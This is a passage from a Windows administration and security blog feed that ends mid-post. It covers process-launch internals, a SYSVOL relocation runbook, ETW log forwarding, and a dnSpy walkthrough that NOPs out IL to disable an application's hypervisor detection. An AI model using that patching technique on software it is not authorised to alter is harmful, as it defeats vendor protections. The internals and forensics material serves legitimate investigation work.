&lt;p&gt;Sysmon Event ID 1, Security Event ID 4688, EDR process graphs, and ProcMon Process Create events tell you something launched. They do not automatically tell you which compatibility, IFEO, loader, manifest, or DLL resolution decisions shaped that launch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second: parent/child relationships can be truthful and still incomplete.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If Notepad launched because IFEO sent execution through a proxy binary, the parent/child chain may be truthful but still miss the key fact: the launch was intercepted by registry policy before Notepad itself ran.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Third: loader behaviour is attack surface and evidence.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DLL search order, SxS activation contexts, API Set resolution, known DLLs, and loaded module databases are not trivia. They explain why DLL hijacking works in one case and fails in another, why a module name in imports does not match a mapped file, and why “before main” can still include attacker-controlled code such as malicious DLL initialization or TLS callbacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fourth: suspended processes are real processes.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A process created with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CREATE_SUSPENDED&lt;/code&gt; has a process object and initial thread. Depending on exactly where you look and when, some initialization has happened and some has not. That is why process hollowing, early-bird APC injection, and debugger-based launch tricks all care about timing.&lt;/p&gt;

&lt;h1 id=&quot;a-small-checklist-for-future-investigations&quot;&gt;A small checklist for future investigations&lt;/h1&gt;

&lt;p&gt;When a Windows process launch looks weird, check:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1. Command line and image path
2. Parent process and creator process, if your telemetry distinguishes them
3. IFEO keys for the image name
4. AppCompatFlags and shim database evidence
5. Manifest and SxS probing
6. KnownDLLs and DLL search path behaviour
7. Loaded modules after loader initialization
8. Prefetch, SRUM, UserAssist, event logs, and ShimCache as presence evidence rather than proof of execution on modern Windows
9. Whether the process was created suspended
10. Whether the first interesting code was the EXE entry point, a DLL entry point, or a TLS callback
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That list has saved me more than once from confidently explaining the wrong thing.&lt;/p&gt;

&lt;h1 id=&quot;sources-worth-keeping-open&quot;&gt;Sources worth keeping open&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateProcessW&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-waitforinputidle&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WaitForInputIdle&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/sysinternals/downloads/procmon&quot;&gt;Process Monitor&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/running-a-program-in-a-debugger&quot;&gt;Running a Program in a Debugger&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/gflags&quot;&gt;GFlags&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/-gflag&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!gflag&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/initial-breakpoint&quot;&gt;Initial Breakpoint&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/apiindex/windows-apisets&quot;&gt;Windows API sets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/sbscs/application-manifests&quot;&gt;Application manifests&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/sbscs/activation-contexts&quot;&gt;Activation contexts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Incident Response: &lt;a href=&quot;https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/final/en-us/microsoft-brand/documents/IR-Guidebook-Final.pdf&quot;&gt;Leveraging Windows Internals for Forensic Investigation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Press: &lt;a href=&quot;https://www.microsoftpressstore.com/store/windows-internals-part-1-system-architecture-processes-9780133986488&quot;&gt;Windows Internals, Part 1, 7th Edition&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;closing-thought&quot;&gt;Closing thought&lt;/h1&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateProcess&lt;/code&gt; sounds like it just starts a program, but a process is more than code executing.&lt;/p&gt;

&lt;p&gt;It constructs a process, applies policy, creates the initial thread, and sets up the execution environment that exists before the program reaches its own entry point.&lt;/p&gt;

&lt;p&gt;Once you see that in ProcMon and WinDbg, a lot of Windows security work starts to look less magical. The weird registry read, the manifest miss, the unexpected DLL, the process that exists but has not run yet, the import that resolves somewhere else: those are not side quests. They are the machinery.&lt;/p&gt;
</description>
        <pubDate>Mon, 20 Apr 2026 10:00:00 +0000</pubDate>
        <link>https://chadduffey.com/windows/windbg/2026/04/20/BeforeMainCreateProcess.html</link>
        <guid isPermaLink="true">https://chadduffey.com/windows/windbg/2026/04/20/BeforeMainCreateProcess.html</guid>
        
        <category>featured</category>
        
        
        <category>windows</category>
        
        <category>windbg</category>
        
      </item>
    
      <item>
        <title>Moving SYSVOL to a new disk</title>
        <description>&lt;p&gt;Moving SYSVOL deserves a cautious, well-tested runbook because the directory is central to Group Policy and domain logon behavior. The junction points, replication state, backups, and rollback plan matter more than the file copy itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Preparation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Quickly confirm AD replication is ok.&lt;/p&gt;

&lt;p&gt;This might seem counterintuitive because SYSVOL uses DFSR which is separate to general AD replication, but a large amount of the configuration information required by SYSVOL is being read from AD by the DFSR service.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;repadmin /replsummary /bysrc /bydest &amp;gt; repsum.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We should also do a system state backup of the domain controller we are working with as well as the file system of the SYSVOL tree. For example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Windows\SYSVOL&lt;/code&gt; on a default install.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Moving&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In this example we will move SYSVOL from the default &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Windows\SYSVOL&lt;/code&gt; to a new disk at the location &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;E:\SYSVOL&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;1 -	Stop the service.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Stop-Service -Name DFSR&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;2 -	Copy the SYSVOL folder from the source to the target and preserve ACLs/ownership/auditing.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;robocopy C:\Windows\SYSVOL E:\SYSVOL /MIR /COPYALL /R:1 /W:1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Optional verification:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;icacls C:\Windows\SYSVOL /save C:\temp\sysvol_acl_source.txt /t&lt;/code&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;icacls E:\SYSVOL /save C:\temp\sysvol_acl_target.txt /t&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;3 -	Update the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SYSVOL&lt;/code&gt; under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&lt;/code&gt; in the registry so that it uses the new path.&lt;/p&gt;

&lt;p&gt;4 - Do the same for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDFSR-RootPath&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDFSR-StagingPath&lt;/code&gt; using ADSI edit.&lt;/p&gt;

&lt;p&gt;The values are in the domain partition on the SYSVOL subscription object for the domain controller you are working on. For example, the test domain in this example is contoso.com, and we are working on the domain controller - DC-SYDNEY-2. The object we will modify the attributes on is:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-LocalSettings,CN=DC-SYDNEY-2,OU=Domain Controllers,DC=contoso,DC=com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/dfsr-paths.png&quot; alt=&quot;DFSR Paths&quot; /&gt;&lt;/p&gt;

&lt;p&gt;5 - We need to remove the old junction points used by the DFSR service. If you’d first like to inspect the junction points that exist, use:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Get-ChildItem -Attributes ReparsePoint | Select-Object FullName, Target&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then, we can delete the two old junction points:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rmdir e:\sysvol\staging areas\contoso.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rmdir e:\sysvol\sysvol\contoso.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Before you move on, make sure the directories with the name of your domain no longer exist in your new location. For example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e:\sysvol\sysvol\contoso.com&lt;/code&gt; should not exist because it was just a junction point to the real data; when you copied it, it became a standard folder. If you don’t follow this step, you’ll get an error because a directory already exists with the same name as the junction point you are going to create in the next step.&lt;/p&gt;

&lt;p&gt;6 - To recreate the junction points we navigate to the appropriate directories.
(from e:\Sysvol\staging areas)
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mklink /J contoso.com e:\Sysvol\staging\domain&lt;/code&gt;
(from e:\Sysvol\sysvol)
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mklink /J contoso.com e:\Sysvol\domain&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;7 - Restart the services:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Start-Service Netlogon&lt;/code&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Start-Service DFSR&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;There are multiple ways you can test that the change has been successful. A quick and simple approach is to create a canary file in the SYSVOL folders and ensure it is replicated to all domain controllers.&lt;/p&gt;

&lt;p&gt;A better approach, though, is to use the built-in “DFS Management” tools and run a health check.&lt;/p&gt;

&lt;p&gt;Should you encounter any errors, be sure to start with the “DFS Replication” Event log under “Applications and Services Logs”.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/storage/dfs-replication/migrate-sysvol-to-dfsr&quot;&gt;SYSVOL replication migration guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/storage/dfs-replication/dfsr-overview&quot;&gt;DFS Replication overview&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/forest-recovery-guide/ad-forest-recovery-guide&quot;&gt;Active Directory Forest Recovery Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Fri, 19 Apr 2024 14:24:25 +0000</pubDate>
        <link>https://chadduffey.com/windows/2024/04/19/MovingSysvol.html</link>
        <guid isPermaLink="true">https://chadduffey.com/windows/2024/04/19/MovingSysvol.html</guid>
        
        <category>featured</category>
        
        
        <category>windows</category>
        
      </item>
    
      <item>
        <title>Using IL NOP&apos;s with dnSpy</title>
        <description>&lt;p&gt;When using dnSpy to make a small managed-code change, the simplest edit is often to replace an instruction with a no-op rather than rewriting an entire method. This note explains that workflow while keeping the focus on controlled lab changes and repeatable verification.&lt;/p&gt;

&lt;p&gt;Often though, the code you are looking at in dnSpy cannot be easily edited and re-compiled. You know the small change you’d like to make, but frustratingly it cannot be easily modified.&lt;/p&gt;

&lt;p&gt;Some example threads:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/dotnet/comments/m00bgm/dnspy_how_do_i_compile_while_ignoring_errors/?rdt=43007&quot;&gt;https://www.reddit.com/r/dotnet/comments/m00bgm/dnspy_how_do_i_compile_while_ignoring_errors/?rdt=43007&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.unknowncheats.me/forum/phasmophobia/421135-trying-edit-assembly-csharp-dll-getting-compiler-error-cs0104.html&quot;&gt;https://www.unknowncheats.me/forum/phasmophobia/421135-trying-edit-assembly-csharp-dll-getting-compiler-error-cs0104.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Editing the IL directly is a potential solution, but edits are more complex than they would be in C# and without a good understanding of IL it is easy to make a mess of it.&lt;/p&gt;

&lt;p&gt;The approach we used this week was simple, but easy to forget, which is why I’m jotting it down.&lt;/p&gt;

&lt;h1 id=&quot;nops&quot;&gt;NOP’S&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;“In computer science, a NOP, no-op, or NOOP (pronounced “no op”; short for no operation) is a machine language instruction and its assembly language mnemonic, programming language statement, or computer protocol command that does nothing.”&lt;/em&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/NOP_(code)&quot;&gt;wiki&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The tl;dr is that dnSpy makes it easy to NOP out sections that when removed achieve our desired outcome. And since we are editing the binary rather than re-compiling the code, we bypass the issues that can pop up in more complex applications that have dependencies.&lt;/p&gt;

&lt;p&gt;In this example, &lt;strong&gt;&lt;em&gt;we are trying to bypass hypervisor protections&lt;/em&gt;&lt;/strong&gt;**:&lt;/p&gt;

&lt;p&gt;We’re really lucky, the application in question has a debug log that is enabled by default. The log gives us clues about the functions to review once we open the application in dnSpy. It also shows the hypervisor detection clearly and will make it easier to ‘confirm’ our change is successful.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/nop/log.png&quot; alt=&quot;The debug log&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once we open the application in dnSpy we can see that the debug log function name lines up, and that the code enabling us to bypass the hypervisor check is right there. We’ll focus on the Hyper-V detection.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/nop/hyper-v-detection.png&quot; alt=&quot;Hyper-V detection&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can also see that there is a structure which has a valid detection type of “None”. In most cases, we’d simply change the value to “None” and recompile.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/nop/type-none.png&quot; alt=&quot;Valid Types&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here’s a quick screenshot of what we’d love to do (it won’t work like this):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/nop/usual-solution.png&quot; alt=&quot;Usual Solution&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can see that if we do attempt to compile there are multiple errors:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/nop/compile-errors.png&quot; alt=&quot;Comile Errors&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So re-compiling, even after a small change is going to be painful. But the alternative, mentioned above is to edit the binary rather than recompiling the code. It is not as straightforward if you’re only familiar with C#, but under the right conditions it can be pain free. This particular app provides such a condition.&lt;/p&gt;

&lt;p&gt;The constructor for the class that assess the hypervisor already sets the value to “None” when it is initialized.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/nop/constructor.png&quot; alt=&quot;Constructor&quot; /&gt;&lt;/p&gt;

&lt;p&gt;That means that (most likely) all we need to do is ensure that code to modify (“Set”) that value never runs. So we won’t need to understand a whole lot of IL, we can simply NOP out the sections that make a change.&lt;/p&gt;

&lt;p&gt;We do that by finding the line that needs to disappear, right click, “edit IL instructions”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/nop/edit-il.png&quot; alt=&quot;Edit IL&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The edit dialog will take you to the IL in question and put a rectangle around it, you can see in this example that the mapping between IL and C# can be difficult to follow, but when it is a simple change, like NOP’s, you’re going to be in good shape. We right click the line and choose “replace with NOPs”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/nop/IL.png&quot; alt=&quot;IL view&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When you return to the main viewing window, you’ll notice that the code is now missing, it has been replaced with an empty set of curly braces &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/nop/edited.png&quot; alt=&quot;Edited binary&quot; /&gt;&lt;/p&gt;

&lt;p&gt;All we do now is save the binary file (not recompile):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/nop/save-all.png&quot; alt=&quot;Save all&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once we copy the binary back into place and restart the application we can confirm that the hypervisor detection is now inactive.&lt;/p&gt;

&lt;p&gt;We can observe it in the behavior we were looking to bypass (usually an error saying something like “running on Hyper-V is unsupported”).&lt;/p&gt;

&lt;p&gt;In this particular case we can also confirm in the debug log provided by the application:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/nop/log-new.png&quot; alt=&quot;Debug Log with better result&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nothing complex is happening here, but the workflow is useful when you need a quick, repeatable patch in a lab.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/dnSpyEx/dnSpy&quot;&gt;dnSpyEx project&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ecma-international.org/publications-and-standards/standards/ecma-335/&quot;&gt;ECMA-335 Common Language Infrastructure standard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/standard/assembly/file-format&quot;&gt;.NET assembly file format&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 31 Oct 2023 14:34:25 +0000</pubDate>
        <link>https://chadduffey.com/windows/2023/10/31/IL-NOP-DNSpy.html</link>
        <guid isPermaLink="true">https://chadduffey.com/windows/2023/10/31/IL-NOP-DNSpy.html</guid>
        
        <category>featured</category>
        
        
        <category>windows</category>
        
      </item>
    
      <item>
        <title>Converting ETL to EVTX in &apos;real time&apos; (for Azure App Proxy Front End Logs)</title>
        <description>&lt;p&gt;This note covers converting ETL traces to EVTX-style event logs in near real time for Azure App Proxy front-end logging. The broader lesson is to preserve the original telemetry, document the conversion pipeline, and be clear about which fields survive the transformation.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Ensure that the &lt;strong&gt;front end logs from the Azure Application Proxies are flowing into the SIEM via Windows Event Forwarding (WEF)&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;This post outlines the current challenges with the ask, and provides an approach for converting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ETL&lt;/code&gt; logs to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.EVTX&lt;/code&gt; format as they arrive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2026 context:&lt;/strong&gt; Microsoft Entra ID Application Proxy is now branded under Microsoft Entra Application Proxy, but the connector provider names and event channels shown in this post may still contain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Aad&lt;/code&gt;/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Microsoft Entra ID&lt;/code&gt; naming. The old names in the code are intentional where they refer to actual provider names.&lt;/p&gt;

&lt;h1 id=&quot;azure-application-proxy-overview&quot;&gt;Azure Application Proxy Overview&lt;/h1&gt;

&lt;p&gt;If you are unfamiliar with the Azure Application Proxy the Microsoft overview is as follows:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Azure Active Directory’s Application Proxy provides secure remote access to on-premises web applications. After a single sign-on to Microsoft Entra ID, users can access both cloud and on-premises applications through an external URL or an internal application portal. For example, Application Proxy can provide remote access and single sign-on to Remote Desktop, SharePoint, Teams, Tableau, Qlik, and line of business (LOB) applications.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/app-proxy/app-proxy-high-level.png&quot; alt=&quot;Overview of Azure App Proxy&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A better source of information for the Azure Application Proxy is: &lt;a href=&quot;https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy&quot;&gt;https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;azure-application-proxy-logging&quot;&gt;Azure Application Proxy Logging&lt;/h1&gt;

&lt;p&gt;The Azure Application Proxy has two main logs that are helpful for administrators and security teams:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The admin log (standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.EVTX&lt;/code&gt; format)&lt;/li&gt;
  &lt;li&gt;The session log (analytic and debug &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ETL&lt;/code&gt; format)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/app-proxy/app-proxy-logs.png&quot; alt=&quot;Azure App Proxy Logs&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The second log, “Session”, is very useful for security teams.&lt;/p&gt;

&lt;p&gt;The events &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;24028&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;24029&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;24030&lt;/code&gt; detail the actual connections being made to the App Proxy connector instance, and are very similar to what you might expect if you were monitoring a web server.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/app-proxy/example-log.png&quot; alt=&quot;Azure App Proxy Detailed Log Example&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;the-challenge&quot;&gt;The Challenge&lt;/h1&gt;

&lt;p&gt;The challenge with the Session log is that it is an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ETL&lt;/code&gt; log, rather than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.EVTX&lt;/code&gt; like the Admin log.&lt;/p&gt;

&lt;p&gt;The Admin Log:
&lt;img src=&quot;/assets/article_images/app-proxy/evtx-type.png&quot; alt=&quot;The Admin Log (.evtx)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The Session Log:
&lt;img src=&quot;/assets/article_images/app-proxy/etl-type.png&quot; alt=&quot;The Session Log (.evtx)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I was aware that “Analytic and Debug” &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.etl&lt;/code&gt; logs were not designed to be forwarded using Windows Event Forwarding, but because we really needed this information in our SIEM we decided to ask Microsoft to be sure:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Question: &lt;em&gt;Can we use Windows Event Forwarding with “Analytic and Debug” logs?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Answer: &lt;em&gt;No, Windows Event Forwarding (WEF) is not designed to work with “Analytic and Debug” logs in the .etl format. WEF is primarily used for forwarding Windows Event Logs in the .evtx format.The “Analytic and Debug” logs, which are in the .etl format, are typically used for advanced troubleshooting and performance analysis purposes. These logs contain low-level system information and are primarily consumed by tools like Windows Performance Analyzer (WPA) and other performance monitoring tools.On the other hand, WEF is specifically designed to collect and forward events from the standard Windows Event Logs, such as the System, Application, Security, and Setup logs, which are stored in the .evtx format&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;It is possible to convert &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.etl&lt;/code&gt; logs to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.evtx&lt;/code&gt; but it is a point in time operation. We considered whether we could do this with a script, but the downside would be that the logs would flow in chunks, rather than being forwarded at the time they arrive and decided to pursue a better fit for our requirement.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;I should note that the design Microsoft arrived at here makes sense to me. That is, using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.etl&lt;/code&gt; format for the Session logs. In some environments the volume of information flowing through that log would be a challenge for regular event logs, and some of the content in the log might be unnecessary for most customers. Definitely not throwing shade at the choice to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.etl&lt;/code&gt; “Analytic and Debug” logs for the App Proxy Session log.&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;the-solution&quot;&gt;The Solution&lt;/h1&gt;

&lt;p&gt;The solution we arrived at was to hook only the relevant information (etw information that makes up events &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;24028&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;24029&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;24030&lt;/code&gt;) from the App Proxy ETW channel. We would do this by writing a Windows Service that would leverage the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Microsoft.Diagnostics.Tracing.TraceEvent&lt;/code&gt; package.&lt;/p&gt;

&lt;p&gt;Said another way: we would subscribe to the relevant ETW channel and pluck out the ETW information that would later become an analytic event of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;24028&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;24029&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;24030&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It was possible to learn about the event channels available to us a couple of ways:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logman query providers&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wevtutil enum-publishers&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The second command: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wevtutil enum-publishers&lt;/code&gt; revealed an ETW source called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Microsoft-AadApplicationProxy-Connector&lt;/code&gt; that contained the information we needed to work with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Microsoft.Diagnostics.Tracing.TraceEvent&lt;/code&gt; package.&lt;/p&gt;

&lt;p&gt;This post by Alex Khanin was really helpful to get started with the ETW library: &lt;a href=&quot;https://medium.com/@alexkhanin/getting-started-with-event-tracing-for-windows-in-c-8d866e8ab5f2&quot;&gt;https://medium.com/@alexkhanin/getting-started-with-event-tracing-for-windows-in-c-8d866e8ab5f2&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The key point was that we would need to add the following Nuget package to our C# project:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Microsoft.Diagnostics.Tracing.TraceEvent&lt;/code&gt;&lt;/p&gt;

&lt;h1 id=&quot;console-app-example&quot;&gt;Console App Example&lt;/h1&gt;

&lt;p&gt;The following code shows how to hook the relevant events to achieve the outcome we would need as a basic console application. &lt;em&gt;But, to do this in a way that will work across multiple servers, survive reboots etc we need to also take this code and implement it as a windows service.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;To summarize the code:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;We are defining three event types that we want to monitor for in the ETW channel for the App Proxy: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Microsoft-AadApplicationProxy-Connector&lt;/code&gt;&lt;/li&gt;
